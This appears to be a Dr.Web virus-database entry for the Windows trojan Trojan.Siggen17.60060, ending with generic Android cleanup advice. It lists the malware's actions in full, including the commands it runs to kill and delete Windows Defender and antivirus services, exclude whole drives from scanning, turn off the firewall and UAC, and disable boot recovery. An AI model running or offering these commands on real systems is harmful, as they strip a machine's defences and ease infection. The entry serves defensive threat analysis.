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Trojan.Siggen17.60060

Added to the Dr.Web virus database: 2022-05-31

Virus description added:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\IKEEXT] 'Start' = '00000002'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile] 'EnableFirewall' = '00000000'
  • [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Update
  • Windows Security Center
  • Windows Defender
blocks the following features:
  • User Account Control (UAC)
modifies the following system settings:
  • [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
Executes the following
  • '<SYSTEM32>\taskkill.exe' /f /im smartscreen.exe
  • '<SYSTEM32>\taskkill.exe' /f /im SecurityHealthService.exe
  • '<SYSTEM32>\taskkill.exe' /f /im MpCopyAccelerator.exe
  • '<SYSTEM32>\taskkill.exe' /f /im SystemSettings.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im MBAMWsc.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im MBAM.exe
  • '%WINDIR%\syswow64\taskkill.exe' /f /im Bytefence.exe
Modifies file system
Creates the following files
  • %TEMP%\ixp000.tmp\defeat-defender2.bat
  • %TEMP%\ixp000.tmp\nsudo.exe
  • %TEMP%\ixp000.tmp\nsudo.json
  • %TEMP%\ixp000.tmp\nsudodm.dll
  • %TEMP%\ixp000.tmp\start.cmd
  • nul
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide icacls "<SYSTEM32>\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide sc stop windefend
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide bcdedit /set {default} recoveryenabled No
  • '%TEMP%\ixp000.tmp\nsudo.exe' -U:T -ShowWindowMode:Hide bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.cmd' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c %TEMP%\IXP000.TMP\start.cmd
  • '%WINDIR%\syswow64\sc.exe' delete Bytefenceservice
  • '%WINDIR%\syswow64\sc.exe' config Bytefenceservice start= disabled
  • '%WINDIR%\syswow64\sc.exe' stop Bytefenceservice
  • '%WINDIR%\syswow64\sc.exe' delete MBAMService
  • '%WINDIR%\syswow64\sc.exe' config MBAMService start= disabled
  • '%WINDIR%\syswow64\sc.exe' stop MBAMService
  • '%WINDIR%\syswow64\sc.exe' stop nsWscSvc
  • '%WINDIR%\syswow64\sc.exe' delete sense
  • '%WINDIR%\syswow64\sc.exe' delete windefend
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SecurityHealth /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wscsvc" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisDrv" /f
  • '<SYSTEM32>\sc.exe' config "avast! Tools" start= disabled
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdFilter" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdBoot" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_USERS\S-1-5-20\SOFTWARE\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Security Health" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Advanced Threat Protection" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender Security Center" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Defender" /f
  • '%WINDIR%\syswow64\reg.exe' delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WdNisSvc" /f
  • '<SYSTEM32>\sc.exe' config SDRSVC start= disabled
  • '<SYSTEM32>\sc.exe' delete "avast! Tools"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Nis-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Powershell-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-MDM-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Management-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Group-Policy-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Core-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-CloudClean-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' config DiagTrack start= disabled
  • '<SYSTEM32>\sc.exe' stop "avast! Tools"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-onecore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AppLayer-Group-amcore-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers\EPP" /f
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\InboxApplications\Microsoft.Windows.SecHealthUI__neutral_neutral_cw5n1h2txyewy" /f
  • '<SYSTEM32>\reg.exe' query "HKEY_CLASSES_ROOT\CLSID\{5FDD51E2-A9D0-44CE-8C8D-162BA0C591A0}" /v "Version"
  • '<SYSTEM32>\cmd.exe' /c reg query "HKEY_CLASSES_ROOT\CLSID\{5FDD51E2-A9D0-44CE-8C8D-162BA0C591A0}" /v "Version"
  • '<SYSTEM32>\sc.exe' config "avast! Antivirus" start= disabled
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-ApplicationGuard-Inbox-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' stop "avast! Antivirus"
  • '<SYSTEM32>\sc.exe' stop DiagTrack
  • '<SYSTEM32>\sc.exe' config LicenseManager start= disabled
  • '<SYSTEM32>\sc.exe' stop LicenseManager
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -PUAProtection disable"
  • '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d "1" /f
  • '<SYSTEM32>\reg.exe' add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d "0" /f
  • '<SYSTEM32>\icacls.exe' "<SYSTEM32>\smartscreen.exe" /inheritance:r /remove *S-1-5-32-544 *S-1-5-11 *S-1-5-32-545 *S-1-5-18
  • '<SYSTEM32>\netsh.exe' advfirewall set allprofiles state off
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "netsh advfirewall set allprofiles state off"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -ScanScheduleDay 8"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -SevereThreatDefaultAction 6"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -LowThreatDefaultAction 6"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -ModerateThreatDefaultAction 6"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Shield-Provider-Core-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' config WdNisSvc start= disabled
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -EnableControlledFolderAccess Disabled"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' New-ItemProperty -Path HKLM:Software\Microsoft\Windows\CurrentVersion\policies\system -Name EnableLUA -PropertyType DWord -Value 0 -Force
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup'"
  • '<SYSTEM32>\sc.exe' stop WdNisSvc
  • '<SYSTEM32>\sc.exe' delete windefend
  • '<SYSTEM32>\sc.exe' stop windefend
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"%WINDIR%'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath '"C:\Users'"
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension ".exe""
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Add-MpPreference -ExclusionExtension ".bat""
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -HighThreatDefaultAction 6 -Force"
  • '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing\Packages\Windows-Defender-Client-Package~31bf3856ad364e35~amd64~~\Owners" /f
  • '<SYSTEM32>\sc.exe' delete WdNisSvc
  • '<SYSTEM32>\sc.exe' delete Sense
  • '<SYSTEM32>\sc.exe' stop Sense
  • '<SYSTEM32>\sc.exe' config Spooler start= disabled
  • '<SYSTEM32>\sc.exe' stop Spooler
  • '<SYSTEM32>\sc.exe' config VaultSvc start= disabled
  • '<SYSTEM32>\sc.exe' stop VaultSvc
  • '<SYSTEM32>\sc.exe' config InstallService Start= disabled
  • '<SYSTEM32>\sc.exe' stop InstallService
  • '<SYSTEM32>\sc.exe' config WdiSystemHost start= disabled
  • '<SYSTEM32>\sc.exe' stop WdiSystemHost
  • '<SYSTEM32>\sc.exe' config WdiServiceHost start= disabled
  • '<SYSTEM32>\sc.exe' stop WdiServiceHost
  • '<SYSTEM32>\sc.exe' config Sense start= disabled
  • '<SYSTEM32>\sc.exe' config wscsvc start= disabled
  • '<SYSTEM32>\sc.exe' config windefend start= disabled
  • '<SYSTEM32>\sc.exe' stop SDRSVC
  • '<SYSTEM32>\sc.exe' delete SecurityHealthService
  • '<SYSTEM32>\sc.exe' config SecurityHealthService start= disabled
  • '<SYSTEM32>\sc.exe' stop SecurityHealthService
  • '<SYSTEM32>\sc.exe' config WaasMedicSvc start= disabled
  • '<SYSTEM32>\sc.exe' stop WaasMedicSvc
  • '<SYSTEM32>\sc.exe' config usosvc start= disabled
  • '<SYSTEM32>\sc.exe' stop usosvc
  • '<SYSTEM32>\sc.exe' config wuauserv start= disabled
  • '<SYSTEM32>\sc.exe' stop wuauserv
  • '<SYSTEM32>\sc.exe' stop wscsvc
  • '<SYSTEM32>\dism.exe' /online /remove-package /packagename:Windows-Defender-AM-Default-Definitions-Package~31bf3856ad364e35~amd64~~ /NoRestart

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  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
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